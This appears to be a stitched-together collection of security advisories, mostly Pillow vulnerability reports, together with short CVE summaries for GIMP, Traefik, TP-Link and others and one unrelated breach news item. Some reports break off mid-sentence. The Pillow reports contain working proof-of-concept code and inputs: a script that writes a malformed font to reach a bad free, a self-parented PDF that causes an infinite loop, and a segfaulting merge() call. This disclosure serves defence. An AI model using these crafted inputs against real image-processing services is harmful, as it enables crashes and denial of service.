### Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
### Details
`glyph` is declared without a NULL initializer:
- `src/_imagingft.c:848`
The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:
- `src/_imagingft.c:1010-1013`
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
- `src/_imagingft.c:1242`
The cleanup frees it whenever a stroker exists:
- `src/_imagingft.c:1253-1256`
`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.
### PoC
This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.
```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
```
Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).
### Impact
Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.
Nikkei Inc., a major Japanese business news and financial information company, disclosed its third data breach in about a month, exposing approximately 1.83 million personal information records. The breach involved unauthorized access to a development system via stolen credentials, affecting data stored in the cloud. While most records contained no identifying information, around 150,000 records included personal details such as full names, email addresses, physical addresses, telephone numbers, and dates of birth. No credit card information was exposed. Nikkei revoked the compromised credentials, notified authorities, and is investigating the breach with no evidence of misuse or data tampering so far. This incident follows two earlier breaches involving compromised employee Google Workspace and Microsoft 365 accounts.
A vulnerability has been found in Dolibarr up to 23.0.2. The impacted element is an unknown function of the file htdocs/document.php of the component CSP. Such manipulation leads to protection mechanism failure. The attack can be executed remotely. Upgrading to version 24.0.0 is sufficient to resolve this issue. The name of the patch is 9f9ffa288d4ad2632c1d5dd88272c699a592f4ec. You should upgrade the affected component.
A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and potentially arbitrary code execution.
A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. Opening a crafted XCF file can cause a use-after-free in the main GIMP process, leading to a crash and potentially arbitrary code execution.
A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. A crafted grayscale PSD thumbnail can cause a heap out-of-bounds read and write in the plug-in process, leading to a crash and potentially arbitrary code execution when the victim browses or opens the file.
Traefik versions before 2.11.46, 3.x before 3.6.17, and version 3.7.0 have a vulnerability in the Kubernetes Ingress provider where namespace validation is missing for Ingress and Service annotations. This allows an attacker with permissions to create or update Ingress or Service resources in one namespace to reference Middlewares, ServersTransports, and TLSOptions in other namespaces. Such a flaw can lead to bypassing namespace-based tenant isolation by accessing another tenant's injected credentials or reusing its client certificates.
A vulnerability in GIMP allows denial of service when importing a crafted SBZ palette file lacking a color-model attribute. This causes a NULL pointer dereference during string comparison, crashing the application.
A server-side request forgery (SSRF) vulnerability exists in agit8or1 clientst0r up to version 3.17.586 in the _fetch_html function of the Property URL Importer component. This vulnerability allows remote attackers to manipulate the url argument, potentially causing the server to make unintended requests. The issue is resolved in version 3.17.587 with an official patch released promptly by the vendor. The CVSS score is 4.3, indicating a low severity level.
A low-severity open redirect vulnerability exists in antoinersx clawhost up to version 0.0.45. The flaw is in the handleRequest function of the Reverse Proxy component, where manipulation of the token argument can lead to an open redirect. The vulnerability can be exploited remotely and public exploit code is available. The vendor has not responded to disclosure attempts and no patch information is provided.
A server-side request forgery (SSRF) vulnerability exists in ptbsare anx-calibre-manager up to version 1.13.12. The flaw is in the LLMClient.chat function within the blueprints/api/llm.py file, specifically in the LLM Configuration Handler component. This vulnerability allows remote attackers to manipulate the base_url argument, potentially causing SSRF. The vulnerability has a low CVSS score of 4.3. The vendor was contacted but did not respond, and no patch or remediation is currently available. Exploit code has been published but there is no evidence of active exploitation in the wild.
A cross-site scripting (XSS) vulnerability exists in grandnode grandnode2 up to version 2.3.0 in the Html.Raw function of the Product Description Handler component. This vulnerability allows remote attackers to inject malicious scripts. The issue is fixed in versions 2.4.0-beta and 2.4.0. The CVSS score is 2.4, indicating a medium severity level.
A SQL injection vulnerability exists in the xp_cmdshell function of the /ws.asmx file in Wuxi Wubang Security Software Wubang Five-in-One Safety Production Management Information System versions up to 3.5. This vulnerability allows remote attackers to manipulate SQL arguments, potentially leading to data confidentiality, integrity, and availability impacts. The vulnerability has a CVSS 3.1 score of 7.3 (medium severity). The vendor was contacted but did not respond, and no patch or remediation guidance is currently available. Public exploit details have been disclosed, but no known exploits in the wild have been reported.
Pillow is a Python imaging library. From 4.1.0 until 13.0.0, Pillow's MSP RLE decoder can expand a small file into an unbounded in-memory buffer. The decoder writes run-length output to BytesIO without limiting expansion to the declared image size. An attacker can supply a crafted MSP image to an application that loads its pixels. This can exhaust memory and deny service even when the declared pixel count passes the decompression-bomb check. This issue is fixed in version 13.0.0.
On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.
```
============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```
A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, "PDF", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.
This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.
The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.
## Details
`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.
The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:
```
%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000056 00000 n
0000000125 00000 n
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF
```
`Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:
```
File "src/PIL/PdfImagePlugin.py", line 263, in _save
existing_pdf.write_catalog()
File "src/PIL/PdfParser.py", line 473, in write_catalog
self.rewrite_pages()
File "src/PIL/PdfParser.py", line 505, in rewrite_pages
while pages_tree_node_ref:
```
The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.
The loop:
```python
# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
pages_tree_nodes_to_delete = []
for i, page_ref in enumerate(self.orig_pages):
page_info = self.cached_objects[page_ref]
del self.xref_table[page_ref.object_id]
pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
…
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
self.orig_pages = []
```
How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode="r+b")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.
For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_
A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. The manipulation of the argument SIGNATURE leads to backdoor. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.
### Summary
`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.
### Details
The validation loop skips band 0:
- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.
For an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:
- `src/libImaging/Bands.c:302`, `:311`, `:321`
The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:
- `src/PIL/IptcImagePlugin.py:156-160`
- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.
### PoC
```python
from PIL import Image
# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
```
Run it:
```
$ python 02_poc.py
Segmentation fault (core dumped)
```
Observed on a source build of commit `3e2ab96`.
Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
```
The null address confirms the dereference of the missing `image8` plane for band 0.
### Impact
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
```
============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483 in _decodeTile()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```
Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.
The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.
The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.
The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).
The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` ← `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.
## Details
`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, …); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.
The ~400-byte TIFF `tile_count2.tif` generated by the reproducer — one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) — is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0–12 and different bytes in rows 13–15 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 ← _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).
### Why the two parsers disagree
libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for "PhotometricInterpret
TP-Link Tapo
C210 V3.60 may expose shared credential material and cryptographic metadata
through unauthenticated DS JSON API requests. The exposed shared credential can
be accepted by the Streamd Digest authentication mechanism as an administrative
password, allowing an unauthenticated adjacent-network attacker to establish
encrypted media sessions without knowledge of the device account
password.
Successful
exploitation may disclose credential and cryptographic material and allow
unauthorized access to encrypted media sessions.